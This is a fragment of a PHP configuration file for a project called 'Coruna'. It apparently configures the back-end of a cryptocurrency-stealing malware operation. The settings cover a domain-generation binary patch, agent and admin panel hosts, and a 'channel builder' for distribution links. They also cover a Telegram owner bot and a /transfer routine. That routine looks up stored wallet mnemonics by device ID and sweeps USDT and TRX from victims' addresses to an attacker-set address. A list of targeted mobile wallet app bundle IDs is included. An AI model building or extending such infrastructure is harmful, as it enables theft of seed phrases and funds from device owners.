array_values(array_filter(array_map( 'trim', preg_split('/[\s,;]+/', $value) ?: [] ))); // Optional link-display hosts (not used by the DGA binary patch). $channelDomains = $parseDomains((string) env('CORUNA_LAB_CHANNEL_DOMAINS', '')); $reportingDomains = $parseDomains((string) env('CORUNA_REPORTING_DOMAINS', '')); // Panel Host allowlists (empty = no restriction). Overridable via system settings. $adminHosts = $parseDomains((string) env('CORUNA_ADMIN_HOSTS', '')); $agentHosts = $parseDomains((string) env('CORUNA_AGENT_HOSTS', '')); return [ 'session_key' => env('CORUNA_SESSION_KEY'), // optional override; empty = derive(seed=0) 'channel_domains' => $channelDomains, 'deployment_domains' => $channelDomains, 'reporting_domains' => $reportingDomains, 'panel' => [ 'admin_hosts' => $adminHosts, 'agent_hosts' => $agentHosts, ], 'static_site' => [ // Scheme used when CORUNA_LAB_CHANNEL_DOMAINS entries omit https://. 'scheme' => env('CORUNA_STATIC_SITE_SCHEME', 'https'), ], 'channel_builder' => [ // Absolute python for channel-builder (default: channel-builder/.venv/bin/python or python3). 'python' => (string) env('CORUNA_CHANNEL_BUILDER_PYTHON', ''), // Served artifact root: public/web// + public/sync/ (+ lab_seeds/out under state_root). 'artifact_root' => (string) env('CORUNA_ARTIFACT_ROOT', public_path()), // Builder state (lab_seeds.json, out/) — keep outside the web root when possible. 'state_root' => (string) env( 'CORUNA_CHANNEL_STATE_ROOT', storage_path('app/channel-builder') ), 'timeout' => (float) env('CORUNA_CHANNEL_BUILDER_TIMEOUT', 600), ], 'channels' => [ // Max channel links per agent user (0 = official is unlimited). Overridable via settings. 'max_per_agent' => (int) env('CORUNA_MAX_CHANNELS_PER_AGENT', 5), ], // Absolute path, project-local bin/7z, or bare "7z" on PATH. Avoid probing // system paths with is_executable() under open_basedir (see CorunaArchive). 'seven_zip' => env('CORUNA_7Z_BIN', ''), 'telegram' => [ 'bot_token' => env('TELEGRAM_BOT_TOKEN'), 'owner_chat_id' => env('TELEGRAM_OWNER_CHAT_ID'), 'webhook_secret' => env('TELEGRAM_WEBHOOK_SECRET', ''), ], 'tokenview' => [ 'api_key' => env('TOKENVIEW_API_KEY', ''), 'sign_key' => env('TOKENVIEW_SIGN_KEY', ''), 'base_url' => env('TOKENVIEW_BASE_URL', 'https://services.tokenview.io/vipapi'), ], 'tron' => [ 'full_node' => env('TRON_FULL_NODE', 'https://api.trongrid.io'), 'api_key' => env('TRON_API_KEY', ''), // Official Tether USDT TRC20. BTC/ETH/BNB have no canonical Tron natives — not queried. 'usdt_contract' => env('TRON_USDT_CONTRACT', 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t'), 'fee_limit' => (int) env('TRON_FEE_LIMIT', 100_000_000), ], // /transfer: from = command arg (device address); to = TRANSFER_TO_ADDRESS. // Mnemonics resolved from wallet_mnemonics by address→device_id+source. 'transfer' => [ 'to_address' => env('TRANSFER_TO_ADDRESS', ''), 'max_usdt' => env('TRANSFER_MAX_USDT', '0'), 'max_trx' => env('TRANSFER_MAX_TRX', '0'), // BIP44 account index scan upper bound when matching fromAddress. 'max_derive_index' => (int) env('TRANSFER_MAX_DERIVE_INDEX', 20), // Leave this much TRX when transferring "all" native (bandwidth/energy fees). 'trx_fee_reserve' => env('TRANSFER_TRX_FEE_RESERVE', '1'), ], // reserved legacy payout addresses 'payout' => [ 'eth' => env('PAYOUT_ETH'), 'btc' => env('PAYOUT_BTC'), 'tron' => env('PAYOUT_TRON'), 'sol' => env('PAYOUT_SOL'), ], 'wallet_bundles' => [ 'im.token.app', 'io.metamask', 'com.wallet.crypto.trustapp', 'com.okex.wallet', 'com.coinbase.wallet', 'com.exodus', 'app.phantom', 'com.uniswap.mobile', 'com.tronlinkpro.wallet', 'com.mytonwallet.app', 'com.tonhub.app', 'com.tonkeeper.app', 'vip.mytokenpocket', 'com.bitkeep.wallet', 'com.bitpie', 'com.coin98', 'com.solflare.mobile', 'com.roninchain.wallet', 'com.krystal.wallet', ], ];